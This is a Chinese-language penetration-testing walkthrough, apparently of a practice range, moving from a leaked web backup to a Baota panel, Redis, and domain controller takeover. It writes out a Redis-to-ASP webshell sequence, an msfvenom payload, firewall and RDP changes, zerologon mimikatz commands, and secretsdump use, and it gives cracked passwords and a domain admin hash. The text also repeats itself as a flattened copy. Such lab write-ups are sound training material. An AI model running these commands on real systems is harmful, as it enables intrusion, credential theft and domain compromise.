从外网代码审计到三层内网各种漏洞拿到域控
字数 2907 2025-08-05 08:19:40

从外网代码审计到三层内网渗透获取域控权限的完整渗透测试报告

1. 目标概述

本次渗透测试的目标是通过外网代码审计进入系统,逐步渗透三层内网,最终获取域控制器权限。目标要求获取四台机器上的root.txt文件,获取三个为及格,四个为满分。

2. 初始信息收集

  • 目标网站:http://www.cocat.cc
  • 关键提示:http://www.cocat.cc/web.zip (网站备份文件)

3. 代码审计阶段

3.1 获取网站源码

通过提示下载网站备份文件web.zip进行代码审计。

3.2 发现漏洞点

审计过程中发现一个webshell上传点:
http://www.cocat.cc/kss_tool/_webup.php

3.3 绕过限制

当前环境命令执行函数被禁用,通过以下方法绕过:

  1. 查找MySQL配置文件获取数据库凭证
  2. 尝试MySQL UDF提权失败(MySQL版本>5.1)

4. 获取宝塔面板权限

4.1 发现宝塔面板

通过文件搜索找到宝塔后台地址:
C:/BtSoft/panel/data/admin_path.pl

4.2 获取宝塔凭据

  1. 下载宝塔数据库文件default.db
  2. 查看users表获取账号密码(MD5加密)
  3. 通过添加新用户或替换MD5的方式添加账号:
    • 用户名:saulGoodmang
    • 密码:123456

4.3 登录宝塔面板

  1. 禁用危险函数
  2. 重启服务使设置生效

5. 获取第一个flag

通过命令执行获取第一个root.txt:
flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}

6. 内网渗透第一阶段

6.1 环境侦察

  • 发现存在火绒杀毒软件
  • 使用Cobalt Strike进行免杀上线

6.2 内网扫描

使用nbtscan和fscan发现内网资产:

  • 192.168.59.4 (存活主机)

6.3 建立持久通道

使用frp建立socks代理进入内网

6.4 绕过火绒添加用户

使用脚本绕过火绒添加用户:

  • 用户名:hacker
  • 密码:P@ssw0rd

6.5 开启远程桌面

执行命令开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

6.6 获取凭证

抓取hash并解密得到Administrator密码:
QWEasd444

7. 内网横向移动(192.168.59.4)

7.1 扫描发现

使用MSF的arp_scanner模块发现192.168.59.4

7.2 端口扫描

使用proxychains+nmap扫描:
proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4

发现开放6379(Redis)端口

7.3 Redis利用

  1. 尝试未授权访问失败
  2. 使用MSF爆破Redis密码成功:123456789qq
  3. 连接Redis:
    proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq

7.4 写入Webshell

  1. 设置IIS默认目录:
    config set dir C:/inetpub/wwwroot/
  2. 设置文件名:
    config set dbfilename 1.aspx
  3. 写入webshell(注意使用单引号和空格绕过):
    set x ' <%execute(request("x"))%> '
  4. 保存:
    save

成功获取webshell:http://192.168.59.4/a.asp

8. 内网渗透第二阶段

8.1 权限提升

  1. 发现可写目录:C:\ProgramData\VMware\logs\
  2. 使用坏土豆(Bad Potato)提权成功

8.2 获取第二个flag

flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}

8.3 添加用户

添加ASP.NET管理员用户

9. 内网渗透(10.10.10.202)

9.1 内网扫描

发现三台存活主机:

  • 10.10.10.201 (DC)
  • 10.10.10.202 (本机)
  • 10.10.10.209

9.2 关闭防火墙

netsh advfirewall set allprofiles state off

9.3 MSF正向shell

  1. 生成payload:
    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe
  2. 目标运行后MSF上线

9.4 获取凭证

hashdump解密得到密码:QWEasd1122

9.5 开启远程桌面

run post/windows/manage/enable_rdp

9.6 发现域环境

通过nbtcan发现:

  • 10.10.10.201 (DC)
  • 10.10.10.209 (Exchange服务器)

10. 获取域控权限

10.1 发现CVE-2020-1472漏洞

使用mimikatz(20200918之后版本)利用:

privilege::debug
lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$
lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit

10.2 导出域凭证

使用secretsdump.py:
python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-pass

获取域管理员hash:
cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::

10.3 MSF psexec上线

配置参数:

RHOSTS: 10.10.10.201
SMBDomain: cncat
SMBPass: aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
SMBUser: Administrator

10.4 令牌窃取

切换为域管身份

10.5 与域机器建立IPC

与10.10.10.209建立IPC连接

11. 获取最终flag

成功获取最后一个root.txt

12. 技术总结

  1. 代码审计:通过网站备份文件发现漏洞点
  2. 权限提升:通过宝塔面板绕过限制
  3. 内网渗透:使用多种工具进行扫描和横向移动
  4. Redis利用:通过密码爆破和webshell写入
  5. 域渗透:利用CVE-2020-1472获取域控权限

13. 安全建议

  1. 加强代码审计,修复webshell上传漏洞
  2. 宝塔面板应使用强密码并限制访问IP
  3. Redis服务应设置强密码并限制网络访问
  4. 及时安装补丁修复CVE-2020-1472等漏洞
  5. 内网机器应启用防火墙并严格限制端口开放
  6. 定期更换域管理员密码

14. 工具列表

  • Cobalt Strike (免杀上线)
  • nbtscan/fscan (内网扫描)
  • frp (内网代理)
  • mimikatz (凭证获取)
  • secretsdump.py (域凭证导出)
  • MSF (漏洞利用)
  • proxychains+nmap (端口扫描)
从外网代码审计到三层内网渗透获取域控权限的完整渗透测试报告 1. 目标概述 本次渗透测试的目标是通过外网代码审计进入系统,逐步渗透三层内网,最终获取域控制器权限。目标要求获取四台机器上的root.txt文件,获取三个为及格,四个为满分。 2. 初始信息收集 目标网站:http://www.cocat.cc 关键提示:http://www.cocat.cc/web.zip (网站备份文件) 3. 代码审计阶段 3.1 获取网站源码 通过提示下载网站备份文件web.zip进行代码审计。 3.2 发现漏洞点 审计过程中发现一个webshell上传点: http://www.cocat.cc/kss_ tool/_ webup.php 3.3 绕过限制 当前环境命令执行函数被禁用,通过以下方法绕过: 查找MySQL配置文件获取数据库凭证 尝试MySQL UDF提权失败(MySQL版本>5.1) 4. 获取宝塔面板权限 4.1 发现宝塔面板 通过文件搜索找到宝塔后台地址: C:/BtSoft/panel/data/admin_path.pl 4.2 获取宝塔凭据 下载宝塔数据库文件default.db 查看users表获取账号密码(MD5加密) 通过添加新用户或替换MD5的方式添加账号: 用户名:saulGoodmang 密码:123456 4.3 登录宝塔面板 禁用危险函数 重启服务使设置生效 5. 获取第一个flag 通过命令执行获取第一个root.txt: flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1} 6. 内网渗透第一阶段 6.1 环境侦察 发现存在火绒杀毒软件 使用Cobalt Strike进行免杀上线 6.2 内网扫描 使用nbtscan和fscan发现内网资产: 192.168.59.4 (存活主机) 6.3 建立持久通道 使用frp建立socks代理进入内网 6.4 绕过火绒添加用户 使用脚本绕过火绒添加用户: 用户名:hacker 密码:P@ssw0rd 6.5 开启远程桌面 执行命令开启3389端口: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 6.6 获取凭证 抓取hash并解密得到Administrator密码: QWEasd444 7. 内网横向移动(192.168.59.4) 7.1 扫描发现 使用MSF的arp_ scanner模块发现192.168.59.4 7.2 端口扫描 使用proxychains+nmap扫描: proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4 发现开放6379(Redis)端口 7.3 Redis利用 尝试未授权访问失败 使用MSF爆破Redis密码成功: 123456789qq 连接Redis: proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq 7.4 写入Webshell 设置IIS默认目录: config set dir C:/inetpub/wwwroot/ 设置文件名: config set dbfilename 1.aspx 写入webshell(注意使用单引号和空格绕过): set x ' <%execute(request("x"))%> ' 保存: save 成功获取webshell:http://192.168.59.4/a.asp 8. 内网渗透第二阶段 8.1 权限提升 发现可写目录: C:\ProgramData\VMware\logs\ 使用坏土豆(Bad Potato)提权成功 8.2 获取第二个flag flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2} 8.3 添加用户 添加ASP.NET管理员用户 9. 内网渗透(10.10.10.202) 9.1 内网扫描 发现三台存活主机: 10.10.10.201 (DC) 10.10.10.202 (本机) 10.10.10.209 9.2 关闭防火墙 netsh advfirewall set allprofiles state off 9.3 MSF正向shell 生成payload: msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe 目标运行后MSF上线 9.4 获取凭证 hashdump解密得到密码: QWEasd1122 9.5 开启远程桌面 run post/windows/manage/enable_rdp 9.6 发现域环境 通过nbtcan发现: 10.10.10.201 (DC) 10.10.10.209 (Exchange服务器) 10. 获取域控权限 10.1 发现CVE-2020-1472漏洞 使用mimikatz(20200918之后版本)利用: 10.2 导出域凭证 使用secretsdump.py: python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-pass 获取域管理员hash: cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387::: 10.3 MSF psexec上线 配置参数: 10.4 令牌窃取 切换为域管身份 10.5 与域机器建立IPC 与10.10.10.209建立IPC连接 11. 获取最终flag 成功获取最后一个root.txt 12. 技术总结 代码审计 :通过网站备份文件发现漏洞点 权限提升 :通过宝塔面板绕过限制 内网渗透 :使用多种工具进行扫描和横向移动 Redis利用 :通过密码爆破和webshell写入 域渗透 :利用CVE-2020-1472获取域控权限 13. 安全建议 加强代码审计,修复webshell上传漏洞 宝塔面板应使用强密码并限制访问IP Redis服务应设置强密码并限制网络访问 及时安装补丁修复CVE-2020-1472等漏洞 内网机器应启用防火墙并严格限制端口开放 定期更换域管理员密码 14. 工具列表 Cobalt Strike (免杀上线) nbtscan/fscan (内网扫描) frp (内网代理) mimikatz (凭证获取) secretsdump.py (域凭证导出) MSF (漏洞利用) proxychains+nmap (端口扫描)